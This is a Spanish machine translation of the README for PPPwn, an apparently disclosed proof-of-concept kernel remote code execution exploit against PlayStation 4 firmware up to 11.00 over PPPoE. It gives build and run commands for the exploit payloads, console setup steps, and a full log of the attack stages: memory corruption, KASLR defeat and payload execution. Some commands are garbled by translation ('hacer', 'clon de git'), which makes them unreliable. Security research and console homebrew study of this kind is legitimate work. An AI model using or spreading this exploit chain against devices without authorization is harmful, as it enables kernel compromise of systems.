PPPwn es un exploit de ejecución remota de código del kernel para PlayStation 4 hasta FW 11.00. Se trata de una prueba de concepto de exploit para CVE-2006-4304 que se informó responsablemente a PlayStation.
Las versiones compatibles son:
FW 7,00 / 7,01 / 7,02
FW 7,50 / 7,51 / 7,55
FW 8.00 / 8.01 / 8.03
FW 8,50 / 8,52
FW 9.00
FW 9.03 / 9.04
FW 9,50 / 9,51 / 9,60
FW 10.00 / 10.01
FW 10,50 / 10,70 / 10,71
Viernes 11.00
Se pueden agregar más (los RP son bienvenidos)
El exploit solo imprime PPPwned
en tu PS4 como prueba de concepto. Para lanzar Mira o habilitadores caseros similares, es necesario adaptar la carga útil stage2.bin
.
Una computadora con un puerto Ethernet
El adaptador USB también funciona
cable ethernet
linux
Puede usar VirtualBox para crear una máquina virtual Linux con Bridged Adapter
como adaptador de red para usar el puerto Ethernet en la máquina virtual.
Python3 y gcc instalados
En tu computadora, clona el repositorio:
clon de git --recursivo https://github.com/TheOfficialFloW/PPPwn
Cambie el directorio al repositorio clonado:
cd PPPwn
Instale los requisitos:
sudo pip install -r requisitos.txt
Compile las cargas útiles:
hacer -C etapa1 FW=1100 limpiar && hacer -C etapa1 FW=1100 hacer -C etapa2 FW=1100 limpiar && hacer -C etapa2 FW=1100
Para otros firmwares, por ejemplo FW 9.00, pase FW=900
.
NO EJECUTE el exploit todavía (no presione Enter todavía), pero prepare este comando cuando se le solicite (consulte ifconfig
para conocer la interfaz correcta):
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
Para otros firmwares, por ejemplo FW 9.00, pase --fw=900
.
En tu PS4:
Vaya a Settings
y luego Network
Seleccione Set Up Internet connection
y elija Use a LAN Cable
Elija Configuración Custom
y elija PPPoE
para IP Address Settings
Ingrese cualquier cosa para PPPoE User ID
y PPPoE Password
Elija Automatic
para DNS Settings
y MTU Settings
Elija Do Not Use
para Proxy Server
Ahora, presione simultáneamente el botón 'X' en su controlador en Test Internet Connection
y 'Entrar' en su teclado (en la computadora tiene su script Python listo para ejecutar).
SIEMPRE espere a que la consola muestre el mensaje "No se puede conectar a la red: (NW-31274-7)" antes de intentar esta inyección PPPOE nuevamente.
Si el exploit falla o la PS4 falla, puedes omitir la configuración de Internet y simplemente hacer clic en Test Internet Connection
. Elimine el script pppwn.py
y ejecútelo nuevamente en su computadora, y luego haga clic en Test Internet Connection
en su PS4: siempre simultáneamente.
Si el exploit funciona, debería ver un resultado similar al siguiente y debería ver Cannot connect to network.
seguido de PPPwned
impreso en tu PS4, o al revés.
[+] PPPwn - PlayStation 4 PPPoE RCE por theflow [+] argumentos: interfaz=enp0s3 fw=1100 etapa1=etapa1/etapa1.bin etapa2=etapa2/etapa2.bin [+] ETAPA 0: Inicialización [*] Esperando PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC de destino: xx:xx:xx:xx:xx:xx [+] Fuente MAC: 07:ba:be:34:d6:ab [+] Longitud de la cookie AC: 0x4e0 [*] Enviando PADO... [*] Esperando a PADR... [*] Enviando PADS... [*] Esperando solicitud de configuración de LCP... [*] Enviando ACK de configuración de LCP... [*] Enviando solicitud de configuración de LCP... [*] Esperando que LCP configure ACK... [*] Esperando solicitud de configuración de IPCP... [*] Enviando IPCP configurar NAK... [*] Esperando solicitud de configuración de IPCP... [*] Enviando IPCP configurar ACK... [*] Enviando solicitud de configuración de IPCP... [*] Esperando que IPCP configure ACK... [*] Esperando que la interfaz esté lista... [+] Destino IPv6: fe80::2d9:d1ff:febc:83e4 [+] Preparación del montón... hecho [+] ETAPA 1: Corrupción de la memoria [+] Fijación a CPU 0... hecho [*] Enviando solicitud de configuración de LCP maliciosa... [*] Esperando solicitud de configuración de LCP... [*] Enviando ACK de configuración de LCP... [*] Enviando solicitud de configuración de LCP... [*] Esperando que LCP configure ACK... [*] Esperando solicitud de configuración de IPCP... [*] Enviando IPCP configurar NAK... [*] Esperando solicitud de configuración de IPCP... [*] Enviando IPCP configurar ACK... [*] Enviando solicitud de configuración de IPCP... [*] Esperando que IPCP configure ACK... [+] Buscando objetos corruptos...encontrado fe80::0fdf:4141:4141:4141 [+] ETAPA 2: Derrota de KASLR [*] Derrotando a KASLR... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] ETAPA 3: Ejecución remota de código [*] Enviando solicitud de terminación de LCP... [*] Esperando PADI... [+] pppoe_softc: 0xffffabd634beba00 [+] MAC de destino: xx:xx:xx:xx:xx:xx [+] Fuente MAC: 97:df:ea:86:ff:ff [+] Longitud de la cookie AC: 0x511 [*] Enviando PADO... [*] Esperando a PADR... [*] Enviando PADS... [*] Activando la ejecución del código... [*] Esperando que se reanude la etapa 1... [*] Enviando PADT... [*] Esperando PADI... [+] pppoe_softc: 0xffffabd634be9200 [+] MAC de destino: xx:xx:xx:xx:xx:xx [+] Longitud de la cookie AC: 0x0 [*] Enviando PADO... [*] Esperando a PADR... [*] Enviando PADS... [*] Esperando solicitud de configuración de LCP... [*] Enviando ACK de configuración de LCP... [*] Enviando solicitud de configuración de LCP... [*] Esperando que LCP configure ACK... [*] Esperando solicitud de configuración de IPCP... [*] Enviando IPCP configurar NAK... [*] Esperando solicitud de configuración de IPCP... [*] Enviando IPCP configurar ACK... [*] Enviando solicitud de configuración de IPCP... [*] Esperando que IPCP configure ACK... [+] ETAPA 4: Ejecución de carga útil arbitraria [*] Enviando carga útil de etapa 2... [+] ¡Listo!
El código no se compilará en Apple Silicon y requiere la arquitectura AMD64. Existe una solución alternativa mediante el uso de Docker que generará los archivos bin necesarios. Clona este repositorio en tu sistema Mac y luego, desde la carpeta del repositorio, ejecuta ./build-macarm.sh
. Esto creará los archivos binarios para PS4 FW 1100 y colocará los archivos necesarios en las carpetas correctas. Para compilar los archivos binarios para una versión diferente, es decir, la 900, ejecute el comando como este: ./build-macarm.sh 900
. Una vez compilada, copie esta estructura de carpetas en la máquina virtual Linux y ejecútela como se indicó anteriormente. Esto se ha probado utilizando VMware Fusion 13.5.1, con VM Guest como Ubuntu 24.04 y la máquina host es MacOS 14.4.1.